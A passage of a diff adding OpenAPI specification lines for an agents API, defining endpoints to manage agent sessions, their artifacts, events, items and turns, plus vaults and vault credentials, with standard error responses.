+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Update an agent session
+ delete:
+ operationId: deleteAgentSession
+ summary: Delete an agent session
+ description: Removes a managed agent session from the public API and returns a deletion confirmation. Physical cleanup may continue asynchronously. See [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ responses:
+ '200':
+ description: The deleted session.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/DeletedSessionResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Delete an agent session
+ /agents/sessions/{session_id}/artifacts:
+ get:
+ operationId: listAgentSessionArtifacts
+ summary: List agent session artifacts
+ description: Lists immutable artifacts published by completed hosted session turns. See [session artifacts](https://developers.openai.com/api/docs/guides/agents-api/environments/files#openai-hosted-artifacts).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ListOrderParam'
+ description: Sort by creation time and ID. Defaults to descending.
+ - name: environment_id
+ in: query
+ required: false
+ schema:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: Restrict the listing to artifacts produced by this environment.
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type:
+ - integer
+ - 'null'
+ format: int64
+ minimum: 1
+ maximum: 100
+ description: The maximum number of artifacts to return, between 1 and 100.
+ - name: after
+ in: query
+ required: false
+ schema:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: Return artifacts after this immutable artifact ID.
+ responses:
+ '200':
+ description: A page of durable session artifacts.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SessionArtifactListResource'
+ description: A page of durable artifacts published by a session.
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: List agent session artifacts
+ /agents/sessions/{session_id}/artifacts/{artifact_id}:
+ get:
+ operationId: retrieveAgentSessionArtifact
+ summary: Retrieve an agent session artifact
+ description: Retrieves immutable metadata for one durable session artifact. See [session artifacts](https://developers.openai.com/api/docs/guides/agents-api/environments/files#openai-hosted-artifacts).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session that owns the artifact.
+ - name: artifact_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The immutable session artifact ID.
+ responses:
+ '200':
+ description: The requested session artifact.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SessionArtifactResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Retrieve an agent session artifact
+ delete:
+ operationId: deleteAgentSessionArtifact
+ summary: Delete an agent session artifact
+ description: Deletes an immutable session artifact without deleting its live environment file or original Files API object. See [session artifacts](https://developers.openai.com/api/docs/guides/agents-api/environments/files#openai-hosted-artifacts).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session that owns the artifact.
+ - name: artifact_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The immutable session artifact ID.
+ responses:
+ '200':
+ description: The deleted session artifact.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/DeletedSessionArtifactResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Delete an agent session artifact
+ /agents/sessions/{session_id}/artifacts/{artifact_id}/content:
+ get:
+ operationId: retrieveAgentSessionArtifactContent
+ summary: Retrieve agent session artifact content
+ description: Downloads immutable session artifact bytes after the execution environment expires. See [session artifacts](https://developers.openai.com/api/docs/guides/agents-api/environments/files#openai-hosted-artifacts).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session that owns the artifact.
+ - name: artifact_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The immutable session artifact ID.
+ responses:
+ '200':
+ description: The immutable artifact contents.
+ content:
+ application/octet-stream:
+ schema:
+ type: string
+ format: binary
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Retrieve agent session artifact content
+ /agents/sessions/{session_id}/events:
+ get:
+ operationId: listAgentSessionEvents
+ summary: Stream agent session events
+ description: Streams live events for an agent session. See [session events](https://developers.openai.com/api/docs/guides/agents-api/sessions/events).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ responses:
+ '200':
+ description: A live stream of session events.
+ content:
+ text/event-stream:
+ schema:
+ $ref: '#/components/schemas/SessionEvent'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oai-streaming:
+ request_field: null
+ response_status_code: 200
+ x-oaiMeta:
+ name: Stream agent session events
+ post:
+ operationId: createAgentSessionEvents
+ summary: Create agent session input events
+ description: Submits message, cancellation, or tool-result events to a managed agent session. See [session events](https://developers.openai.com/api/docs/guides/agents-api/sessions/events).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ - name: Idempotency-Key
+ in: header
+ required: false
+ schema:
+ type: string
+ minLength: 1
+ maxLength: 256
+ description: An optional client-generated key that makes retries of submitted messages idempotent.
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/CreateSessionEventsParams'
+ responses:
+ '202':
+ description: The events were accepted.
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Create agent session input events
+ /agents/sessions/{session_id}/items:
+ get:
+ operationId: listAgentSessionItems
+ summary: List agent session items
+ description: Lists items produced by the session's root agent, including its interactions with subagents. Each subagent has its own item history. See [inspecting agent output](https://developers.openai.com/api/docs/guides/agents-api/observability).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type: integer
+ format: int64
+ minimum: 1
+ maximum: 100
+ default: 20
+ description: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ListOrderParam'
+ default: desc
+ description: The order in which resources are returned. Defaults to `desc`.
+ - name: after
+ in: query
+ required: false
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: Return resources after this resource ID in the selected order.
+ responses:
+ '200':
+ description: A page of session items.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SessionItemListResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: List agent session items
+ /agents/sessions/{session_id}/turns:
+ get:
+ operationId: listAgentSessionTurns
+ summary: List agent session turns
+ description: Lists turns by creation time and turn ID. The after cursor is exclusive in the selected order. See [session turns](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage#inspect-session-turns).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type: integer
+ format: int64
+ minimum: 1
+ maximum: 100
+ default: 20
+ description: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ListOrderParam'
+ default: desc
+ description: The order in which resources are returned. Defaults to `desc`.
+ - name: after
+ in: query
+ required: false
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: Return resources after this resource ID in the selected order.
+ responses:
+ '200':
+ description: A page of session turns.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SessionTurnListResource'
+ description: A page of turns from an agent session or subagent.
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: List agent session turns
+ /agents/sessions/{session_id}/turns/{turn_id}:
+ get:
+ operationId: retrieveAgentSessionTurn
+ summary: Retrieve an agent session turn
+ description: Retrieves a turn's current status, timestamps, usage, and error. Returns 404 if the turn does not belong to the session. See [session turns](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage#inspect-session-turns).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session that owns the turn.
+ - name: turn_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the turn.
+ responses:
+ '200':
+ description: The requested turn.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/TurnResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Retrieve an agent session turn
+ /vaults:
+ get:
+ operationId: listVaults
+ summary: List vaults
+ description: Lists vaults using ID-based pagination. See [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+ tags:
+ - Vaults
+ parameters:
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ListOrderParam'
+ default: desc
+ description: Sort order by the `created_at` timestamp. Use `asc` for ascending order or `desc` for descending order. Defaults to `desc`.
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type:
+ - integer
+ - 'null'
+ format: int64
+ minimum: 0
+ description: The maximum number of resources to return. Defaults to 20. Values are clamped between 1 and 100.
+ - name: status
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/VaultStatusFilterParam'
+ description: Filter by one status or a list, such as `status=active` or `status[]=active&status[]=archived`. Both statuses are included by default.
+ - name: after
+ in: query
+ required: false
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: Return resources after this resource ID in the selected order.
+ responses:
+ '200':
+ description: A page of vaults.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/VaultListResource'
+ description: A page of vaults.
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested vault or credential was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current vault state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: List vaults
+ post:
+ operationId: createVault
+ summary: Create a vault
+ description: Creates a vault for the current project. See [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+ tags:
+ - Vaults
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/CreateVaultParams'
+ responses:
+ '201':
+ description: The created vault.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/VaultResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested vault or credential was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current vault state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Create a vault
+ /vaults/{vault_id}:
+ get:
+ operationId: retrieveVault
+ summary: Retrieve a vault
+ description: Retrieves a vault by its ID. See [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+ tags:
+ - Vaults
+ parameters:
+ - name: vault_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the vault.
+ responses:
+ '200':
+ description: The requested vault.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/VaultResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested vault or credential was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current vault state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Retrieve a vault
+ delete:
+ operationId: deleteVault
+ summary: Delete a vault
+ description: Deletes a vault and all its credentials. See [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+ tags:
+ - Vaults
+ parameters:
+ - name: vault_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the vault.
+ responses:
+ '200':
+ description: The deleted vault.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/DeletedVaultResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested vault or credential was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current vault state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Delete a vault
+ /vaults/{vault_id}/credentials:
+ get:
+ operationId: listVaultCredentials
+ summary: List vault credentials
+ description: Lists a vault's credentials using ID-based pagination without returning secret values. See [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+ tags:
+ - Vaults
+ parameters:
+ - name: vault_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the vault.
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ListOrderParam'
+ default: desc
+ description: Sort order by the `created_at` timestamp. Use `asc` for ascending order or `desc` for descending order. Defaults to `desc`.
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type:
+ - integer
+ - 'null'
+ format: int64
+ minimum: 0
+ description: The maximum number of resources to return. Defaults to 20. Values are clamped between 1 and 100.
+ - name: status
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/VaultStatusFilterParam'
+ description: Filter by one status or a list, such as `status=active` or `status[]=active&status[]=archived`. Both statuses are included by default.
+ - name: after
+ in: query
+ required: false
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: Return resources after this resource ID in the selected order.
+ responses:
+ '200':
+ description: A page of vault credentials.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/VaultCredentialListResource'
+ description: A page of credentials in a vault.
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested vault or credential was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current vault state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: List vault credentials
+ post:
+ operationId: createVaultCredential
+ summary: Create a vault credential
+ description: Creates a vault credential. Secret values are write-only and are never returned. See [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+ tags:
+ - Vaults
+ parameters:
+ - name: vault_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the vault.
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/CreateVaultCredentialParams'
+ responses:
+ '201':
+ description: The created vault credential without secret values.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/VaultCredentialResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested vault or credential was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current vault state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Create a vault credential
+ /vaults/{vault_id}/credentials/{credential_id}:
+ get:
+ operationId: retrieveVaultCredential
+ summary: Retrieve a vault credential
+ description: Retrieves vault credential metadata without returning secret values. See [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+ tags:
+ - Vaults
+ parameters:
+ - name: vault_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the vault.
+ - name: credential_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the vault credential.
+ responses:
+ '200':
+ description: The requested vault credential without secret values.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/VaultCredentialResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
